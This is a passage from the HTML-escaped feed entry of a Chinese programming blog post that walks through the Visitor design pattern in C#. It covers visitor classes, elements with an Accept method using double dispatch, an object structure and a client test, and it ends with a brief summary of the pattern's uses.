#800000;"&gt;{0}被{1}访问&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;,concreteElementA.GetType().Name,&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;this&lt;/span&gt;&lt;span style="color: #000000;"&gt;.GetType().Name);&lt;br /&gt;        }&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;override&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;void&lt;/span&gt;&lt;span style="color: #000000;"&gt; VisitConcreteElementB(ConcreteElementB concreteElementB)&lt;br /&gt;        {&lt;br /&gt;            Console.WriteLine(&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;{0}被{1}访问&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;,concreteElementB.GetType().Name,&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;this&lt;/span&gt;&lt;span style="color: #000000;"&gt;.GetType().Name);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;class&lt;/span&gt;&lt;span style="color: #000000;"&gt; ConcreteVisitor2:Visitor&lt;br /&gt;    {&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;override&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;void&lt;/span&gt;&lt;span style="color: #000000;"&gt; VisitConcreteElementA(ConcreteElementA concreteElementA)&lt;br /&gt;        {&lt;br /&gt;            Console.WriteLine(&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;{0}被{1}访问&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;, concreteElementA.GetType().Name, &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;this&lt;/span&gt;&lt;span style="color: #000000;"&gt;.GetType().Name);&lt;br /&gt;        }&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;override&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;void&lt;/span&gt;&lt;span style="color: #000000;"&gt; VisitConcreteElementB(ConcreteElementB concreteElementB)&lt;br /&gt;        {&lt;br /&gt;            Console.WriteLine(&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;{0}被{1}访问&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;, concreteElementB.GetType().Name, &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;this&lt;/span&gt;&lt;span style="color: #000000;"&gt;.GetType().Name);&lt;br /&gt;        }&lt;br /&gt;    }&lt;/span&gt;&lt;/div&gt;&lt;p&gt;3.　定义Element，它以一个访问者为参数&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;&lt;span style="color: #000000;"&gt;    &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; &lt;/span&gt;&lt;span style="color: #808080;"&gt;&amp;lt;summary&amp;gt;&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; 定义一个Accept操作，它以一个访问者为参数&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; &lt;/span&gt;&lt;span style="color: #808080;"&gt;&amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;span style="color: #808080;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;   &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;abstract&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;class&lt;/span&gt;&lt;span style="color: #000000;"&gt; Element&lt;br /&gt;    {&lt;br /&gt;       &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;abstract&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;void&lt;/span&gt;&lt;span style="color: #000000;"&gt; Accept(Visitor visitor);&lt;br /&gt;    }&lt;/span&gt;&lt;/div&gt;&lt;p&gt;4.实现Accept操作&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;&lt;span style="color: #000000;"&gt;    &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; &lt;/span&gt;&lt;span style="color: #808080;"&gt;&amp;lt;summary&amp;gt;&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; 具体元素，实现Accept操作&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; &lt;/span&gt;&lt;span style="color: #808080;"&gt;&amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;span style="color: #808080;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;    &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;class&lt;/span&gt;&lt;span style="color: #000000;"&gt; ConcreteElementA:Element&lt;br /&gt;    {&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; &lt;/span&gt;&lt;span style="color: #808080;"&gt;&amp;lt;summary&amp;gt;&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; 充分利用双分派技术，实现处理与数据结构的分离&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; &lt;/span&gt;&lt;span style="color: #808080;"&gt;&amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; &lt;/span&gt;&lt;span style="color: #808080;"&gt;&amp;lt;param name="visitor"&amp;gt;&amp;lt;/param&amp;gt;&lt;/span&gt;&lt;span style="color: #808080;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;        &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;override&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;void&lt;/span&gt;&lt;span style="color: #000000;"&gt; Accept(Visitor visitor)&lt;br /&gt;        {&lt;br /&gt;            visitor.VisitConcreteElementA(&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;this&lt;/span&gt;&lt;span style="color: #000000;"&gt;);&lt;br /&gt;        }&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; &lt;/span&gt;&lt;span style="color: #808080;"&gt;&amp;lt;summary&amp;gt;&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; 其他的相关方法&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; &lt;/span&gt;&lt;span style="color: #808080;"&gt;&amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;span style="color: #808080;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;        &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;void&lt;/span&gt;&lt;span style="color: #000000;"&gt; OperationA() &lt;br /&gt;        {     &lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;class&lt;/span&gt;&lt;span style="color: #000000;"&gt; ConcreteElementB:Element&lt;br /&gt;    {&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;override&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;void&lt;/span&gt;&lt;span style="color: #000000;"&gt; Accept(Visitor visitor)&lt;br /&gt;        {&lt;br /&gt;            visitor.VisitConcreteElementB(&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;this&lt;/span&gt;&lt;span style="color: #000000;"&gt;);&lt;br /&gt;        }&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;void&lt;/span&gt;&lt;span style="color: #000000;"&gt; OperationB() { }&lt;br /&gt;    }&lt;/span&gt;&lt;/div&gt;&lt;p&gt;5.定义一个高层接口&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;&lt;span style="color: #000000;"&gt;    &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; &lt;/span&gt;&lt;span style="color: #808080;"&gt;&amp;lt;summary&amp;gt;&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; 提供一个高层接口允许访问者访问它的元素&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; &lt;/span&gt;&lt;span style="color: #808080;"&gt;&amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;span style="color: #808080;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;    &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;class&lt;/span&gt;&lt;span style="color: #000000;"&gt; ObjectStructure&lt;br /&gt;    {&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;private&lt;/span&gt;&lt;span style="color: #000000;"&gt; IList&lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;Element&lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt; elements &lt;/span&gt;&lt;span style="color: #000000;"&gt;=&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt;&lt;span style="color: #000000;"&gt; List&lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;Element&lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;();&lt;br /&gt;&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;void&lt;/span&gt;&lt;span style="color: #000000;"&gt; Attach(Element element) &lt;br /&gt;        {&lt;br /&gt;            elements.Add(element);&lt;br /&gt;        }&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;void&lt;/span&gt;&lt;span style="color: #000000;"&gt; Dettach(Element element) &lt;br /&gt;        {&lt;br /&gt;            elements.Remove(element);&lt;br /&gt;        }&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;void&lt;/span&gt;&lt;span style="color: #000000;"&gt; Accept(Visitor visitor) &lt;br /&gt;        {&lt;br /&gt;           &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;foreach&lt;/span&gt;&lt;span style="color: #000000;"&gt;(Element e &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;in&lt;/span&gt;&lt;span style="color: #000000;"&gt; elements)&lt;br /&gt;           {&lt;br /&gt;               e.Accept(visitor);&lt;br /&gt;           }&lt;br /&gt;        }&lt;br /&gt;    }&lt;/span&gt;&lt;/div&gt;&lt;p&gt;6.客户端调用&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;&lt;span style="color: #000000;"&gt;        &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; &lt;/span&gt;&lt;span style="color: #808080;"&gt;&amp;lt;summary&amp;gt;&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; 测试访问者模式&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #808080;"&gt;///&lt;/span&gt;&lt;span style="color: #008000;"&gt; &lt;/span&gt;&lt;span style="color: #808080;"&gt;&amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;span style="color: #808080;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;        &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;static&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;void&lt;/span&gt;&lt;span style="color: #000000;"&gt; TestVisitor() &lt;br /&gt;        {&lt;br /&gt;            ObjectStructure o &lt;/span&gt;&lt;span style="color: #000000;"&gt;=&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt;&lt;span style="color: #000000;"&gt; ObjectStructure();&lt;br /&gt;            o.Attach(&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt;&lt;span style="color: #000000;"&gt; ConcreteElementA());&lt;br /&gt;            o.Attach(&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt;&lt;span style="color: #000000;"&gt; ConcreteElementB());&lt;br /&gt;&lt;br /&gt;            ConcreteVisitor1 v1 &lt;/span&gt;&lt;span style="color: #000000;"&gt;=&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt;&lt;span style="color: #000000;"&gt; ConcreteVisitor1();&lt;br /&gt;            ConcreteVisitor2 v2 &lt;/span&gt;&lt;span style="color: #000000;"&gt;=&lt;/span&gt;&lt;span style="color: #000000;"&gt; &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt;&lt;span style="color: #000000;"&gt; ConcreteVisitor2();&lt;br /&gt;            o.Accept(v1);&lt;br /&gt;            o.Accept(v2);&lt;br /&gt;&lt;br /&gt;            Console.Read();&lt;br /&gt;        }&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="background-color: #99ccff;"&gt;小结： &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;访问者模式有点复杂，而且应用场合很少，具体应用需要将实际情况合理抽象，需要多种设计模式配合工作。&lt;/p&gt;&lt;script type="text/javascript"&gt;// &lt;![CDATA[google_ad_client = "ca-pub-2976783274616186";/* 博客园1 */google_ad_slot = "4211604936";google_ad_width = 728;google_ad_height = 90;// ]]&gt;&lt;/script&gt;&lt;script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;// &lt;![CDATA[// ]]&gt;&lt;/script&gt;&lt;img src="http://www.cnblogs.com/jqbird/aggbug/2171115.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/09/08/2171115.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry></feed>
